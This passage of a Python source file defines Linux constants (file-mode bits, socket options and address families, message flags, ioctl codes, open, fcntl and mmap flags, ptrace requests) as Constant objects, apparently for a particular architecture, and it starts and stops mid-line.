Constant('S_ISUID',0o004000)\nS_ISGID = Constant('S_ISGID',0o002000)\nS_ISVTX = Constant('S_ISVTX',0o001000)\nS_IRWXU = Constant('S_IRWXU',0o0700)\nS_IRUSR = Constant('S_IRUSR',0o0400)\nS_IWUSR = Constant('S_IWUSR',0o0200)\nS_IXUSR = Constant('S_IXUSR',0o0100)\nS_IRWXG = Constant('S_IRWXG',0o0070)\nS_IRGRP = Constant('S_IRGRP',0o0040)\nS_IWGRP = Constant('S_IWGRP',0o0020)\nS_IXGRP = Constant('S_IXGRP',0o0010)\nS_IRWXO = Constant('S_IRWXO',0o0007)\nS_IROTH = Constant('S_IROTH',0o0004)\nS_IWOTH = Constant('S_IWOTH',0o0002)\nS_IXOTH = Constant('S_IXOTH',0o0001)\nS_IREAD = Constant('S_IREAD',0o0400)\nS_IWRITE = Constant('S_IWRITE',0o0200)\nS_IEXEC = Constant('S_IEXEC',0o0100)\n_SYS_UIO = Constant('_SYS_UIO',1)\nSOL_SOCKET = Constant('SOL_SOCKET',0xffff)\nSO_DEBUG = Constant('SO_DEBUG',0x0001)\nSO_REUSEADDR = Constant('SO_REUSEADDR',0x0004)\nSO_KEEPALIVE = Constant('SO_KEEPALIVE',0x0008)\nSO_DONTROUTE = Constant('SO_DONTROUTE',0x0010)\nSO_BROADCAST = Constant('SO_BROADCAST',0x0020)\nSO_LINGER = Constant('SO_LINGER',0x0080)\nSO_OOBINLINE = Constant('SO_OOBINLINE',0x0100)\nSO_REUSEPORT = Constant('SO_REUSEPORT',0x0200)\nSO_TYPE = Constant('SO_TYPE',0x1008)\nSO_ERROR = Constant('SO_ERROR',0x1007)\nSO_SNDBUF = Constant('SO_SNDBUF',0x1001)\nSO_RCVBUF = Constant('SO_RCVBUF',0x1002)\nSO_NO_CHECK = Constant('SO_NO_CHECK',11)\nSO_PRIORITY = Constant('SO_PRIORITY',12)\nSO_BSDCOMPAT = Constant('SO_BSDCOMPAT',14)\nSO_PASSCRED = Constant('SO_PASSCRED',17)\nSO_PEERCRED = Constant('SO_PEERCRED',18)\nSO_SECURITY_AUTHENTICATION = Constant('SO_SECURITY_AUTHENTICATION',19)\nSO_SECURITY_ENCRYPTION_TRANSPORT = Constant('SO_SECURITY_ENCRYPTION_TRANSPORT',20)\nSO_SECURITY_ENCRYPTION_NETWORK = Constant('SO_SECURITY_ENCRYPTION_NETWORK',21)\nSO_BINDTODEVICE = Constant('SO_BINDTODEVICE',25)\nSO_ATTACH_FILTER = Constant('SO_ATTACH_FILTER',26)\nSO_DETACH_FILTER = Constant('SO_DETACH_FILTER',27)\nSO_GET_FILTER = Constant('SO_GET_FILTER',26)\nSO_PEERNAME = Constant('SO_PEERNAME',28)\nSO_TIMESTAMP = Constant('SO_TIMESTAMP',29)\nSCM_TIMESTAMP = Constant('SCM_TIMESTAMP',29)\nSO_PEERSEC = Constant('SO_PEERSEC',30)\nSO_PASSSEC = Constant('SO_PASSSEC',34)\nSO_TIMESTAMPNS = Constant('SO_TIMESTAMPNS',35)\nSCM_TIMESTAMPNS = Constant('SCM_TIMESTAMPNS',35)\nSO_MARK = Constant('SO_MARK',36)\nSO_TIMESTAMPING = Constant('SO_TIMESTAMPING',37)\nSCM_TIMESTAMPING = Constant('SCM_TIMESTAMPING',37)\nSO_RXQ_OVFL = Constant('SO_RXQ_OVFL',40)\nSO_WIFI_STATUS = Constant('SO_WIFI_STATUS',41)\nSCM_WIFI_STATUS = Constant('SCM_WIFI_STATUS',41)\nSO_PEEK_OFF = Constant('SO_PEEK_OFF',42)\nSO_NOFCS = Constant('SO_NOFCS',43)\nSO_LOCK_FILTER = Constant('SO_LOCK_FILTER',44)\nSO_SELECT_ERR_QUEUE = Constant('SO_SELECT_ERR_QUEUE',45)\nSO_BUSY_POLL = Constant('SO_BUSY_POLL',46)\nSO_MAX_PACING_RATE = Constant('SO_MAX_PACING_RATE',47)\nSO_BPF_EXTENSIONS = Constant('SO_BPF_EXTENSIONS',48)\nSO_INCOMING_CPU = Constant('SO_INCOMING_CPU',49)\nSO_ATTACH_BPF = Constant('SO_ATTACH_BPF',50)\nSO_DETACH_BPF = Constant('SO_DETACH_BPF',27)\nSO_ATTACH_REUSEPORT_CBPF = Constant('SO_ATTACH_REUSEPORT_CBPF',51)\nSO_ATTACH_REUSEPORT_EBPF = Constant('SO_ATTACH_REUSEPORT_EBPF',52)\nSO_CNX_ADVICE = Constant('SO_CNX_ADVICE',53)\nSCM_TIMESTAMPING_OPT_STATS = Constant('SCM_TIMESTAMPING_OPT_STATS',54)\nSO_MEMINFO = Constant('SO_MEMINFO',55)\nSO_INCOMING_NAPI_ID = Constant('SO_INCOMING_NAPI_ID',56)\nSO_COOKIE = Constant('SO_COOKIE',57)\nSCM_TIMESTAMPING_PKTINFO = Constant('SCM_TIMESTAMPING_PKTINFO',58)\nSO_PEERGROUPS = Constant('SO_PEERGROUPS',59)\nSO_ZEROCOPY = Constant('SO_ZEROCOPY',60)\nSO_SNDBUFFORCE = Constant('SO_SNDBUFFORCE',0x100a)\nSO_RCVBUFFORCE = Constant('SO_RCVBUFFORCE',0x100b)\nSO_RCVLOWAT = Constant('SO_RCVLOWAT',0x1010)\nSO_SNDLOWAT = Constant('SO_SNDLOWAT',0x1011)\nSO_RCVTIMEO = Constant('SO_RCVTIMEO',0x1012)\nSO_SNDTIMEO = Constant('SO_SNDTIMEO',0x1013)\nSO_ACCEPTCONN = Constant('SO_ACCEPTCONN',0x1014)\nSO_PROTOCOL = Constant('SO_PROTOCOL',0x1028)\nSO_DOMAIN = Constant('SO_DOMAIN',0x1029)\nSO_STYLE = Constant('SO_STYLE',0x1008)\nSOCK_NONBLOCK = Constant('SOCK_NONBLOCK',0x40000000)\nSOCK_STREAM = Constant('SOCK_STREAM',1)\nSOCK_DGRAM = Constant('SOCK_DGRAM',2)\nSOCK_RAW = Constant('SOCK_RAW',3)\nSOCK_RDM = Constant('SOCK_RDM',4)\nSOCK_SEQPACKET = Constant('SOCK_SEQPACKET',5)\nSOCK_DCCP = Constant('SOCK_DCCP',6)\nSOCK_PACKET = Constant('SOCK_PACKET',10)\nUIO_FASTIOV = Constant('UIO_FASTIOV',8)\nUIO_MAXIOV = Constant('UIO_MAXIOV',1024)\nSCM_RIGHTS = Constant('SCM_RIGHTS',0x01)\nSCM_CREDENTIALS = Constant('SCM_CREDENTIALS',0x02)\nSCM_CONNECT = Constant('SCM_CONNECT',0x03)\nAF_UNSPEC = Constant('AF_UNSPEC',0)\nAF_UNIX = Constant('AF_UNIX',1)\nAF_LOCAL = Constant('AF_LOCAL',1)\nAF_INET = Constant('AF_INET',2)\nAF_AX25 = Constant('AF_AX25',3)\nAF_IPX = Constant('AF_IPX',4)\nAF_APPLETALK = Constant('AF_APPLETALK',5)\nAF_NETROM = Constant('AF_NETROM',6)\nAF_BRIDGE = Constant('AF_BRIDGE',7)\nAF_ATMPVC = Constant('AF_ATMPVC',8)\nAF_X25 = Constant('AF_X25',9)\nAF_INET6 = Constant('AF_INET6',10)\nAF_ROSE = Constant('AF_ROSE',11)\nAF_DECnet = Constant('AF_DECnet',12)\nAF_NETBEUI = Constant('AF_NETBEUI',13)\nAF_SECURITY = Constant('AF_SECURITY',14)\nAF_KEY = Constant('AF_KEY',15)\nAF_NETLINK = Constant('AF_NETLINK',16)\nAF_ROUTE = Constant('AF_ROUTE',16)\nAF_PACKET = Constant('AF_PACKET',17)\nAF_ASH = Constant('AF_ASH',18)\nAF_ECONET = Constant('AF_ECONET',19)\nAF_ATMSVC = Constant('AF_ATMSVC',20)\nAF_SNA = Constant('AF_SNA',22)\nAF_IRDA = Constant('AF_IRDA',23)\nAF_PPPOX = Constant('AF_PPPOX',24)\nAF_WANPIPE = Constant('AF_WANPIPE',25)\nAF_LLC = Constant('AF_LLC',26)\nAF_IB = Constant('AF_IB',27)\nAF_MPLS = Constant('AF_MPLS',28)\nAF_CAN = Constant('AF_CAN',29)\nAF_TIPC = Constant('AF_TIPC',30)\nAF_BLUETOOTH = Constant('AF_BLUETOOTH',31)\nAF_IUCV = Constant('AF_IUCV',32)\nAF_RXRPC = Constant('AF_RXRPC',33)\nAF_ISDN = Constant('AF_ISDN',34)\nAF_PHONET = Constant('AF_PHONET',35)\nAF_IEEE802154 = Constant('AF_IEEE802154',36)\nAF_CAIF = Constant('AF_CAIF',37)\nAF_ALG = Constant('AF_ALG',38)\nAF_NFC = Constant('AF_NFC',39)\nAF_VSOCK = Constant('AF_VSOCK',40)\nAF_KCM = Constant('AF_KCM',41)\nAF_QIPCRTR = Constant('AF_QIPCRTR',42)\nAF_SMC = Constant('AF_SMC',43)\nAF_MAX = Constant('AF_MAX',44)\nPF_UNSPEC = Constant('PF_UNSPEC',0)\nPF_UNIX = Constant('PF_UNIX',1)\nPF_LOCAL = Constant('PF_LOCAL',1)\nPF_INET = Constant('PF_INET',2)\nPF_AX25 = Constant('PF_AX25',3)\nPF_IPX = Constant('PF_IPX',4)\nPF_APPLETALK = Constant('PF_APPLETALK',5)\nPF_NETROM = Constant('PF_NETROM',6)\nPF_BRIDGE = Constant('PF_BRIDGE',7)\nPF_ATMPVC = Constant('PF_ATMPVC',8)\nPF_X25 = Constant('PF_X25',9)\nPF_INET6 = Constant('PF_INET6',10)\nPF_ROSE = Constant('PF_ROSE',11)\nPF_DECnet = Constant('PF_DECnet',12)\nPF_NETBEUI = Constant('PF_NETBEUI',13)\nPF_SECURITY = Constant('PF_SECURITY',14)\nPF_KEY = Constant('PF_KEY',15)\nPF_NETLINK = Constant('PF_NETLINK',16)\nPF_ROUTE = Constant('PF_ROUTE',16)\nPF_PACKET = Constant('PF_PACKET',17)\nPF_ASH = Constant('PF_ASH',18)\nPF_ECONET = Constant('PF_ECONET',19)\nPF_ATMSVC = Constant('PF_ATMSVC',20)\nPF_SNA = Constant('PF_SNA',22)\nPF_IRDA = Constant('PF_IRDA',23)\nPF_PPPOX = Constant('PF_PPPOX',24)\nPF_WANPIPE = Constant('PF_WANPIPE',25)\nPF_LLC = Constant('PF_LLC',26)\nPF_IB = Constant('PF_IB',27)\nPF_MPLS = Constant('PF_MPLS',28)\nPF_CAN = Constant('PF_CAN',29)\nPF_TIPC = Constant('PF_TIPC',30)\nPF_BLUETOOTH = Constant('PF_BLUETOOTH',31)\nPF_IUCV = Constant('PF_IUCV',32)\nPF_RXRPC = Constant('PF_RXRPC',33)\nPF_ISDN = Constant('PF_ISDN',34)\nPF_PHONET = Constant('PF_PHONET',35)\nPF_IEEE802154 = Constant('PF_IEEE802154',36)\nPF_CAIF = Constant('PF_CAIF',37)\nPF_ALG = Constant('PF_ALG',38)\nPF_NFC = Constant('PF_NFC',39)\nPF_VSOCK = Constant('PF_VSOCK',40)\nPF_KCM = Constant('PF_KCM',41)\nPF_QIPCRTR = Constant('PF_QIPCRTR',42)\nPF_SMC = Constant('PF_SMC',43)\nPF_MAX = Constant('PF_MAX',44)\nSOMAXCONN = Constant('SOMAXCONN',128)\nMSG_OOB = Constant('MSG_OOB',1)\nMSG_PEEK = Constant('MSG_PEEK',2)\nMSG_DONTROUTE = Constant('MSG_DONTROUTE',4)\nMSG_TRYHARD = Constant('MSG_TRYHARD',4)\nMSG_CTRUNC = Constant('MSG_CTRUNC',8)\nMSG_PROBE = Constant('MSG_PROBE',0x10)\nMSG_TRUNC = Constant('MSG_TRUNC',0x20)\nMSG_DONTWAIT = Constant('MSG_DONTWAIT',0x40)\nMSG_EOR = Constant('MSG_EOR',0x80)\nMSG_WAITALL = Constant('MSG_WAITALL',0x100)\nMSG_FIN = Constant('MSG_FIN',0x200)\nMSG_SYN = Constant('MSG_SYN',0x400)\nMSG_CONFIRM = Constant('MSG_CONFIRM',0x800)\nMSG_RST = Constant('MSG_RST',0x1000)\nMSG_ERRQUEUE = Constant('MSG_ERRQUEUE',0x2000)\nMSG_NOSIGNAL = Constant('MSG_NOSIGNAL',0x4000)\nMSG_MORE = Constant('MSG_MORE',0x8000)\nMSG_WAITFORONE = Constant('MSG_WAITFORONE',0x10000)\nMSG_SENDPAGE_NOTLAST = Constant('MSG_SENDPAGE_NOTLAST',0x20000)\nMSG_BATCH = Constant('MSG_BATCH',0x40000)\nMSG_EOF = Constant('MSG_EOF',0x200)\nMSG_ZEROCOPY = Constant('MSG_ZEROCOPY',0x4000000)\nMSG_FASTOPEN = Constant('MSG_FASTOPEN',0x20000000)\nMSG_CMSG_CLOEXEC = Constant('MSG_CMSG_CLOEXEC',0x40000000)\nSOL_IP = Constant('SOL_IP',0)\nSOL_TCP = Constant('SOL_TCP',6)\nSOL_UDP = Constant('SOL_UDP',17)\nSOL_IPV6 = Constant('SOL_IPV6',41)\nSOL_ICMPV6 = Constant('SOL_ICMPV6',58)\nSOL_SCTP = Constant('SOL_SCTP',132)\nSOL_UDPLITE = Constant('SOL_UDPLITE',136)\nSOL_RAW = Constant('SOL_RAW',255)\nSOL_IPX = Constant('SOL_IPX',256)\nSOL_AX25 = Constant('SOL_AX25',257)\nSOL_ATALK = Constant('SOL_ATALK',258)\nSOL_NETROM = Constant('SOL_NETROM',259)\nSOL_ROSE = Constant('SOL_ROSE',260)\nSOL_DECNET = Constant('SOL_DECNET',261)\nSOL_X25 = Constant('SOL_X25',262)\nSOL_PACKET = Constant('SOL_PACKET',263)\nSOL_ATM = Constant('SOL_ATM',264)\nSOL_AAL = Constant('SOL_AAL',265)\nSOL_IRDA = Constant('SOL_IRDA',266)\nSOL_NETBEUI = Constant('SOL_NETBEUI',267)\nSOL_LLC = Constant('SOL_LLC',268)\nSOL_DCCP = Constant('SOL_DCCP',269)\nSOL_NETLINK = Constant('SOL_NETLINK',270)\nSOL_TIPC = Constant('SOL_TIPC',271)\nSOL_RXRPC = Constant('SOL_RXRPC',272)\nSOL_PPPOL2TP = Constant('SOL_PPPOL2TP',273)\nSOL_BLUETOOTH = Constant('SOL_BLUETOOTH',274)\nSOL_PNPIPE = Constant('SOL_PNPIPE',275)\nSOL_RDS = Constant('SOL_RDS',276)\nSOL_IUCV = Constant('SOL_IUCV',277)\nSOL_CAIF = Constant('SOL_CAIF',278)\nSOL_ALG = Constant('SOL_ALG',279)\nSOL_NFC = Constant('SOL_NFC',280)\nSOL_KCM = Constant('SOL_KCM',281)\nSOL_TLS = Constant('SOL_TLS',282)\nIPX_TYPE = Constant('IPX_TYPE',1)\nSHUT_RD = Constant('SHUT_RD',0)\nSHUT_WR = Constant('SHUT_WR',1)\nSHUT_RDWR = Constant('SHUT_RDWR',2)\nNI_NOFQDN = Constant('NI_NOFQDN',1)\nNI_NUMERICHOST = Constant('NI_NUMERICHOST',2)\nNI_NAMEREQD = Constant('NI_NAMEREQD',4)\nNI_NUMERICSERV = Constant('NI_NUMERICSERV',8)\nNI_DGRAM = Constant('NI_DGRAM',16)\nEAI_FAMILY = Constant('EAI_FAMILY',-1)\nEAI_SOCKTYPE = Constant('EAI_SOCKTYPE',-2)\nEAI_BADFLAGS = Constant('EAI_BADFLAGS',-3)\nEAI_NONAME = Constant('EAI_NONAME',-4)\nEAI_SERVICE = Constant('EAI_SERVICE',-5)\nEAI_ADDRFAMILY = Constant('EAI_ADDRFAMILY',-6)\nEAI_NODATA = Constant('EAI_NODATA',-7)\nEAI_MEMORY = Constant('EAI_MEMORY',-8)\nEAI_FAIL = Constant('EAI_FAIL',-9)\nEAI_AGAIN = Constant('EAI_AGAIN',-10)\nEAI_SYSTEM = Constant('EAI_SYSTEM',-11)\nAI_NUMERICHOST = Constant('AI_NUMERICHOST',1)\nAI_CANONNAME = Constant('AI_CANONNAME',2)\nAI_PASSIVE = Constant('AI_PASSIVE',4)\nAI_NUMERICSERV = Constant('AI_NUMERICSERV',8)\nAI_ADDRCONFIG = Constant('AI_ADDRCONFIG',16)\nAI_V4MAPPED = Constant('AI_V4MAPPED',32)\nAI_ALL = Constant('AI_ALL',64)\nSIOCADDRT = Constant('SIOCADDRT',0x890B)\nSIOCDELRT = Constant('SIOCDELRT',0x890C)\nSIOCRTMSG = Constant('SIOCRTMSG',0x890D)\nSIOCGIFNAME = Constant('SIOCGIFNAME',0x8910)\nSIOCSIFLINK = Constant('SIOCSIFLINK',0x8911)\nSIOCGIFCONF = Constant('SIOCGIFCONF',0x8912)\nSIOCGIFFLAGS = Constant('SIOCGIFFLAGS',0x8913)\nSIOCSIFFLAGS = Constant('SIOCSIFFLAGS',0x8914)\nSIOCGIFADDR = Constant('SIOCGIFADDR',0x8915)\nSIOCSIFADDR = Constant('SIOCSIFADDR',0x8916)\nSIOCGIFDSTADDR = Constant('SIOCGIFDSTADDR',0x8917)\nSIOCSIFDSTADDR = Constant('SIOCSIFDSTADDR',0x8918)\nSIOCGIFBRDADDR = Constant('SIOCGIFBRDADDR',0x8919)\nSIOCSIFBRDADDR = Constant('SIOCSIFBRDADDR',0x891a)\nSIOCGIFNETMASK = Constant('SIOCGIFNETMASK',0x891b)\nSIOCSIFNETMASK = Constant('SIOCSIFNETMASK',0x891c)\nSIOCGIFMETRIC = Constant('SIOCGIFMETRIC',0x891d)\nSIOCSIFMETRIC = Constant('SIOCSIFMETRIC',0x891e)\nSIOCGIFMEM = Constant('SIOCGIFMEM',0x891f)\nSIOCSIFMEM = Constant('SIOCSIFMEM',0x8920)\nSIOCGIFMTU = Constant('SIOCGIFMTU',0x8921)\nSIOCSIFMTU = Constant('SIOCSIFMTU',0x8922)\nSIOCSIFNAME = Constant('SIOCSIFNAME',0x8923)\nSIOCSIFHWADDR = Constant('SIOCSIFHWADDR',0x8924)\nSIOCGIFENCAP = Constant('SIOCGIFENCAP',0x8925)\nSIOCSIFENCAP = Constant('SIOCSIFENCAP',0x8926)\nSIOCGIFHWADDR = Constant('SIOCGIFHWADDR',0x8927)\nSIOCGIFSLAVE = Constant('SIOCGIFSLAVE',0x8929)\nSIOCSIFSLAVE = Constant('SIOCSIFSLAVE',0x8930)\nSIOCADDMULTI = Constant('SIOCADDMULTI',0x8931)\nSIOCDELMULTI = Constant('SIOCDELMULTI',0x8932)\nSIOCGIFINDEX = Constant('SIOCGIFINDEX',0x8933)\nSIOGIFINDEX = Constant('SIOGIFINDEX',0x8933)\nSIOCSIFPFLAGS = Constant('SIOCSIFPFLAGS',0x8934)\nSIOCGIFPFLAGS = Constant('SIOCGIFPFLAGS',0x8935)\nSIOCDIFADDR = Constant('SIOCDIFADDR',0x8936)\nSIOCSIFHWBROADCAST = Constant('SIOCSIFHWBROADCAST',0x8937)\nSIOCGIFCOUNT = Constant('SIOCGIFCOUNT',0x8938)\nSIOCGIFBR = Constant('SIOCGIFBR',0x8940)\nSIOCSIFBR = Constant('SIOCSIFBR',0x8941)\nSIOCGIFTXQLEN = Constant('SIOCGIFTXQLEN',0x8942)\nSIOCSIFTXQLEN = Constant('SIOCSIFTXQLEN',0x8943)\nSIOCGIFDIVERT = Constant('SIOCGIFDIVERT',0x8944)\nSIOCSIFDIVERT = Constant('SIOCSIFDIVERT',0x8945)\nSIOCETHTOOL = Constant('SIOCETHTOOL',0x8946)\nSIOCDARP = Constant('SIOCDARP',0x8953)\nSIOCGARP = Constant('SIOCGARP',0x8954)\nSIOCSARP = Constant('SIOCSARP',0x8955)\nSIOCDRARP = Constant('SIOCDRARP',0x8960)\nSIOCGRARP = Constant('SIOCGRARP',0x8961)\nSIOCSRARP = Constant('SIOCSRARP',0x8962)\nSIOCGIFMAP = Constant('SIOCGIFMAP',0x8970)\nSIOCSIFMAP = Constant('SIOCSIFMAP',0x8971)\nSIOCADDDLCI = Constant('SIOCADDDLCI',0x8980)\nSIOCDELDLCI = Constant('SIOCDELDLCI',0x8981)\nSIOCDEVPRIVATE = Constant('SIOCDEVPRIVATE',0x89F0)\nF_LINUX_SPECIFIC_BASE = Constant('F_LINUX_SPECIFIC_BASE',1024)\nO_ACCMODE = Constant('O_ACCMODE',0o003)\nO_RDONLY = Constant('O_RDONLY',0o0)\nO_WRONLY = Constant('O_WRONLY',0o1)\nO_RDWR = Constant('O_RDWR',0o2)\nO_CREAT = Constant('O_CREAT',0o1000)\nO_TRUNC = Constant('O_TRUNC',0o2000)\nO_EXCL = Constant('O_EXCL',0o4000)\nO_NOCTTY = Constant('O_NOCTTY',0o10000)\nO_NONBLOCK = Constant('O_NONBLOCK',0o0004)\nO_APPEND = Constant('O_APPEND',0o0010)\nO_NDELAY = Constant('O_NDELAY',0o0004)\nO_DSYNC = Constant('O_DSYNC',0o40000)\nFASYNC = Constant('FASYNC',0o20000)\nO_DIRECTORY = Constant('O_DIRECTORY',0o100000)\nO_NOFOLLOW = Constant('O_NOFOLLOW',0o200000)\nO_LARGEFILE = Constant('O_LARGEFILE',0o400000)\nO_DIRECT = Constant('O_DIRECT',0o2000000)\nO_NOATIME = Constant('O_NOATIME',0o4000000)\nO_CLOEXEC = Constant('O_CLOEXEC',0o10000000)\nO_SYNC = Constant('O_SYNC',(0o20000000|0o40000))\nO_PATH = Constant('O_PATH',0o40000000)\n__O_TMPFILE = Constant('__O_TMPFILE',0o100000000)\nF_DUPFD = Constant('F_DUPFD',0)\nF_GETFD = Constant('F_GETFD',1)\nF_SETFD = Constant('F_SETFD',2)\nF_GETFL = Constant('F_GETFL',3)\nF_SETFL = Constant('F_SETFL',4)\nF_GETLK = Constant('F_GETLK',7)\nF_SETLK = Constant('F_SETLK',8)\nF_SETLKW = Constant('F_SETLKW',9)\nF_SETOWN = Constant('F_SETOWN',5)\nF_GETOWN = Constant('F_GETOWN',6)\nF_SETSIG = Constant('F_SETSIG',10)\nF_GETSIG = Constant('F_GETSIG',11)\nFD_CLOEXEC = Constant('FD_CLOEXEC',1)\nF_RDLCK = Constant('F_RDLCK',1)\nF_WRLCK = Constant('F_WRLCK',2)\nF_UNLCK = Constant('F_UNLCK',8)\nF_EXLCK = Constant('F_EXLCK',16)\nF_SHLCK = Constant('F_SHLCK',32)\nF_INPROGRESS = Constant('F_INPROGRESS',64)\nLOCK_SH = Constant('LOCK_SH',1)\nLOCK_EX = Constant('LOCK_EX',2)\nLOCK_NB = Constant('LOCK_NB',4)\nLOCK_UN = Constant('LOCK_UN',8)\nLOCK_MAND = Constant('LOCK_MAND',32)\nLOCK_READ = Constant('LOCK_READ',64)\nLOCK_WRITE = Constant('LOCK_WRITE',128)\nLOCK_RW = Constant('LOCK_RW',192)\nO_TMPFILE = Constant('O_TMPFILE',(0o100000000 | 0o100000))\nO_ASYNC = Constant('O_ASYNC',0o20000)\nF_SETOWN_EX = Constant('F_SETOWN_EX',15)\nF_GETOWN_EX = Constant('F_GETOWN_EX',16)\nF_GETOWNER_UIDS = Constant('F_GETOWNER_UIDS',17)\nF_OFD_GETLK = Constant('F_OFD_GETLK',36)\nF_OFD_SETLK = Constant('F_OFD_SETLK',37)\nF_OFD_SETLKW = Constant('F_OFD_SETLKW',38)\nF_OWNER_TID = Constant('F_OWNER_TID',0)\nF_OWNER_PID = Constant('F_OWNER_PID',1)\nF_OWNER_PGRP = Constant('F_OWNER_PGRP',2)\nAT_FDCWD = Constant('AT_FDCWD',-100)\nAT_SYMLINK_NOFOLLOW = Constant('AT_SYMLINK_NOFOLLOW',0x100)\nAT_REMOVEDIR = Constant('AT_REMOVEDIR',0x200)\nAT_SYMLINK_FOLLOW = Constant('AT_SYMLINK_FOLLOW',0x400)\nAT_NO_AUTOMOUNT = Constant('AT_NO_AUTOMOUNT',0x800)\nAT_EMPTY_PATH = Constant('AT_EMPTY_PATH',0x1000)\nAT_EACCESS = Constant('AT_EACCESS',0x200)\nMREMAP_MAYMOVE = Constant('MREMAP_MAYMOVE',1)\nMREMAP_FIXED = Constant('MREMAP_FIXED',2)\nPROT_READ = Constant('PROT_READ',0x1)\nPROT_WRITE = Constant('PROT_WRITE',0x2)\nPROT_EXEC = Constant('PROT_EXEC',0x4)\nPROT_SEM = Constant('PROT_SEM',0x8)\nPROT_NONE = Constant('PROT_NONE',0x0)\nPROT_GROWSDOWN = Constant('PROT_GROWSDOWN',0x01000000)\nPROT_GROWSUP = Constant('PROT_GROWSUP',0x02000000)\nMAP_SHARED = Constant('MAP_SHARED',0x01)\nMAP_PRIVATE = Constant('MAP_PRIVATE',0x02)\nMAP_TYPE = Constant('MAP_TYPE',0xf)\nMADV_REMOVE = Constant('MADV_REMOVE',9)\nMADV_DONTFORK = Constant('MADV_DONTFORK',10)\nMADV_DOFORK = Constant('MADV_DOFORK',11)\nMADV_MERGEABLE = Constant('MADV_MERGEABLE',12)\nMADV_UNMERGEABLE = Constant('MADV_UNMERGEABLE',13)\nMADV_HUGEPAGE = Constant('MADV_HUGEPAGE',14)\nMADV_NOHUGEPAGE = Constant('MADV_NOHUGEPAGE',15)\nMADV_DONTDUMP = Constant('MADV_DONTDUMP',16)\nMADV_DODUMP = Constant('MADV_DODUMP',17)\nMADV_HWPOISON = Constant('MADV_HWPOISON',100)\nMADV_SOFT_OFFLINE = Constant('MADV_SOFT_OFFLINE',101)\nMLOCK_ONFAULT = Constant('MLOCK_ONFAULT',1)\nMAP_FIXED = Constant('MAP_FIXED',0x100)\nMAP_ANONYMOUS = Constant('MAP_ANONYMOUS',0x10)\nMAP_GROWSDOWN = Constant('MAP_GROWSDOWN',0x1000)\nMAP_DENYWRITE = Constant('MAP_DENYWRITE',0x2000)\nMAP_EXECUTABLE = Constant('MAP_EXECUTABLE',0x4000)\nMAP_LOCKED = Constant('MAP_LOCKED',0x8000)\nMAP_NORESERVE = Constant('MAP_NORESERVE',0x10000)\nMAP_POPULATE = Constant('MAP_POPULATE',0x20000)\nMAP_NONBLOCK = Constant('MAP_NONBLOCK',0x40000)\nMAP_STACK = Constant('MAP_STACK',0x80000)\nMAP_HUGETLB = Constant('MAP_HUGETLB',0x100000)\nMS_ASYNC = Constant('MS_ASYNC',1)\nMS_SYNC = Constant('MS_SYNC',2)\nMS_INVALIDATE = Constant('MS_INVALIDATE',4)\nMCL_CURRENT = Constant('MCL_CURRENT',8192)\nMCL_FUTURE = Constant('MCL_FUTURE',16384)\nMCL_ONFAULT = Constant('MCL_ONFAULT',32768)\nMADV_NORMAL = Constant('MADV_NORMAL',0)\nMADV_RANDOM = Constant('MADV_RANDOM',1)\nMADV_SEQUENTIAL = Constant('MADV_SEQUENTIAL',2)\nMADV_WILLNEED = Constant('MADV_WILLNEED',3)\nMADV_SPACEAVAIL = Constant('MADV_SPACEAVAIL',5)\nMADV_DONTNEED = Constant('MADV_DONTNEED',6)\nMAP_ANON = Constant('MAP_ANON',0x10)\nMAP_FILE = Constant('MAP_FILE',0)\nPOSIX_MADV_NORMAL = Constant('POSIX_MADV_NORMAL',0)\nPOSIX_MADV_SEQUENTIAL = Constant('POSIX_MADV_SEQUENTIAL',2)\nPOSIX_MADV_RANDOM = Constant('POSIX_MADV_RANDOM',1)\nPOSIX_MADV_WILLNEED = Constant('POSIX_MADV_WILLNEED',3)\nPOSIX_MADV_DONTNEED = Constant('POSIX_MADV_DONTNEED',6)\nPTRACE_TRACEME = Constant('PTRACE_TRACEME',0)\nPTRACE_PEEKTEXT = Constant('PTRACE_PEEKTEXT',1)\nPTRACE_PEEKDATA = Constant('PTRACE_PEEKDATA',2)\nPTRACE_PEEKUSR = Constant('PTRACE_PEEKUSR',3)\nPTRACE_PEEKUSER = Constant('PTRACE_PEEKUSER',3)\nPTRACE_POKETEXT = Constant('PTRACE_POKETEXT',4)\nPTRACE_POKEDATA = Constant('PTRACE_POKEDATA',5)\nPTRACE_POKEUSR = Constant('PTRACE_POKEUSR',6)\nPTRACE_POKEUSER = Constant('PTRACE_POKEUSER',6)\nPTRACE_CONT = Constant('PTRACE_CONT',7)\nPTRACE_KILL = Constant('PTRACE_KILL',8)\nPTRACE_SINGLESTEP = Constant('PTRACE_SINGLESTEP',9)\nPTRACE_ATTACH = Constant('PTRACE_ATTACH',0x10)\nPTRACE_DETACH = Constant('PTRACE_DETACH',0x11)\nPTRACE_SYSCALL = Constant('PTRACE_SYSCALL',24)\nPTRACE_GETEVENTMSG = Constant('PTRACE_GETEVENTMSG',0x4201)\nPTRACE_GETSIGINFO = Constant('PTRACE_GETSIGINFO',0x4202)\nPTRACE_SETSIGINFO = Constant('PTRACE_SETSIGINFO',0x4203)\nPTRACE_O_TRACESYSGOOD = Constant('PTRACE_O_TRACESYSGOOD',0x00000001)\nPTRACE_O_TRACEFORK = Constant('PTRACE_O_TRACEFORK',0x00000002)\nPTRACE_O_TRACEVFORK = Constant('PTRACE_O_TRACEVFORK',0x00000004)\nPTRACE_O_TRACECLONE = Constant('PTRACE_O_TRACECLONE',0x00000008)\nPTRACE_O_TRACEEXEC = Constant('PTRACE_O_TRACEEXEC',0x00000010)\nPTRACE_O_TRACEVFORKDONE = Constant('PTRACE_O_TRACEVFORKDONE',0x00000020)\nPTRACE_O_TRACEEXIT = Constant('PTRACE_O_TRACEEXIT',0x00000040)\nPTRACE_O_MASK = Constant('PTRACE_O_MASK',0x0000007f)\nPTRACE_EVENT_FORK = Constant('PTRACE_EVENT_FORK',1)\nPTRACE_EVENT_VFORK = Constant('PTRACE_EVENT_VFORK',2)\nPTRACE_EVENT_CLONE = Constant('PTRACE_EVENT_CLONE',3)\nPTRACE_EVENT_EXEC = Constant('PTRACE_EVENT_EXEC',4)\nPTRACE_EVENT_VFORK_DONE = Constant('PTRACE_EVENT_VFORK_DONE',5)\nPTRACE_EVENT_EXIT = Constant('PTRACE_EVENT_EXIT',6)\nPT_TRACE_ME = Constant('PT_TRACE_ME',0)\nPT_READ_I = Constant('PT_READ_I',1)\nPT_READ_D = Constant('PT_READ_D',2)\nPT_READ_U = Constant('PT_READ_U',3)\nPT_WRITE_I = Constant('PT_WRITE_I',4)\nPT_WRITE_D = Constant('PT_WRITE_D',5)\nPT_WRITE_U = 